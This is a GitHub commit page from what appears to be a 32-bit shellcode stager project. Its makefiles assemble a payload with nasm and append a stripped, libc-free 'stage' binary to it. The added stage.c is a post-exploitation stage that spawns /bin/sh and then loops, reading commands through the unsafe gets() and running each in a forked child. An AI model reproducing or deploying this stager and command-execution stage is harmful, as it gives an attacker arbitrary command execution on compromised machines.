Skip to content

Commit 1358b3c

Browse files
committed
cleanup
1 parent 5897cb2 commit 1358b3c

File tree

12 files changed

+143
-137
lines changed

12 files changed

+143
-137
lines changed

32bitStager/makefile

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,9 @@
33
shellcode = mapper_payload.s
44
NFLAGS = elf
55
CFLAGS = -m32
6+
STAGE_LOC=../stage/
67

7-
all: mapper_payload test_shellcode
8+
all: stage mapper_payload test_shellcode
89
assemble:
910
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
1011
nasm $(shellcode) -o shellcode
@@ -14,15 +15,15 @@ link:
1415
mapper_payload: mapper_payload.s
1516
nasm mapper_payload.s -o shellcode
1617
nasm mapper_payload.s -o mapper_payload_test
17-
cat stage >> mapper_payload_test
18+
cat $(STAGE_LOC)/stage >> mapper_payload_test
1819

1920
test_shellcode: test_shellcode.c
2021
gcc -m32 test_shellcode.c -o test_shellcode
2122

23+
stage:
24+
cd $(STAGE_LOC) && $(MAKE)
2225

26+
clean:
27+
rm -f linkme.o testShellcode shellcode
2328

2429

25-
clean:
26-
rm linkme.o
27-
rm testShellcode
28-
rm shellcode
File renamed without changes.
File renamed without changes.

stage/makefile

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
2+
RUNTIMEDIR = ../include/runtime/
3+
INCLUDEDIR = ../include/
4+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
5+
CFLAGS= -m32 -nostdlib -lc -D start -fPIE -pie $(INCLUDE)
6+
DEBUG_FLAGS= -m32 -lc -fPIE -pie -D DEBUG $(INCLUDE)
7+
TARGET=stage.c
8+
9+
all: compile debug_compile
10+
11+
assemble: $(RUNTIMEDIR)gs.s
12+
nasm -f elf $(RUNTIMEDIR)gs.s -o gs.o
13+
14+
compile: assemble $(TARGET)
15+
gcc $(TARGET) -c -o stage.o $(CFLAGS)
16+
gcc stage.o gs.o -o stage $(CFLAGS)
17+
strip stage
18+
19+
debug_compile: assemble $(TARGET)
20+
gcc $(TARGET) -c -o debug.o $(DEBUG_FLAGS)
21+
gcc debug.o gs.o -o debug_stage
22+
23+
clean:
24+
rm -f stage.o debug.o stage debug_stage gs.o

stage/stage.c

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <sys/mman.h>
6+
#include <sys/select.h>
7+
#include <stdbool.h>
8+
9+
#include "runtime/gs.h"
10+
11+
#define BREAK() __asm__("int3");
12+
13+
#ifdef start
14+
void _start(void){
15+
main();
16+
}
17+
#endif
18+
19+
int test_functions(int,char**,char**);
20+
void do_child(char* command);
21+
void print_arg_env(char**,char**);
22+
void fork_and_communicate(void);
23+
24+
int main(int argc,char** argv,char** envp){
25+
26+
#ifdef DEBUG
27+
28+
test_functions(argc, argv, envp);
29+
_exit(0);
30+
#endif
31+
do_patch_pie();
32+
33+
34+
start_main_wrapper_alt(test_functions);
35+
36+
}
37+
38+
39+
int test_functions(int argc,char** argv,char** envp){
40+
41+
42+
print_arg_env(argv,envp);
43+
system("/bin/sh");
44+
while(true){
45+
fork_and_communicate();
46+
}
47+
48+
49+
_exit(0);
50+
return 0;//main 2
51+
}
52+
53+
void do_child(char* command){
54+
int res=__libc_system(command);
55+
//free(command);
56+
_exit(0);
57+
}
58+
59+
void print_arg_env(char** argv,char** envp){
60+
_IO_puts("----------ARGS----------");
61+
while(*argv){
62+
_IO_puts(*(argv++));
63+
}
64+
_IO_puts("----------ENV----------");
65+
while(*envp){
66+
_IO_puts(*(envp++));
67+
}
68+
fflush(NULL);
69+
return;
70+
}
71+
72+
73+
void fork_and_communicate(void){
74+
75+
int pipe_fd[2];
76+
__pipe(pipe_fd);
77+
int read_fd=pipe_fd[0], write_fd=pipe_fd[1];
78+
79+
fd_set select_r_fds;
80+
fd_set select_w_fds;
81+
fd_set select_x_fds;
82+
int max_fd=0;
83+
FD_ZERO(&select_r_fds);
84+
FD_ZERO(&select_w_fds);
85+
FD_ZERO(&select_x_fds);
86+
87+
pid_t child;
88+
89+
char command[0x1000];
90+
memset(command,0,sizeof(command));
91+
gets(command);
92+
93+
if((child=__fork())<0){
94+
puts("There was a problem forking");
95+
fflush(NULL);
96+
}
97+
else{
98+
if(child==0){
99+
dup2(read_fd, STDIN_FILENO);
100+
dup2(write_fd, STDOUT_FILENO);
101+
do_child(command);
102+
//child exits
103+
}
104+
else{
105+
wait(child);
106+
__close(read_fd);
107+
__close(write_fd);
108+
109+
}
110+
}
111+
return;
112+
}

stagerTest/addOffest.py

Lines changed: 0 additions & 19 deletions
This file was deleted.

stagerTest/elf2bin/elf2bin.py

Lines changed: 0 additions & 51 deletions
This file was deleted.

stagerTest/makefile

Lines changed: 0 additions & 5 deletions
This file was deleted.

stagerTest/stage/lolStage.c

Lines changed: 0 additions & 7 deletions
This file was deleted.

stagerTest/stage/makefile

Lines changed: 0 additions & 5 deletions
This file was deleted.

0 commit comments

Comments
 (0)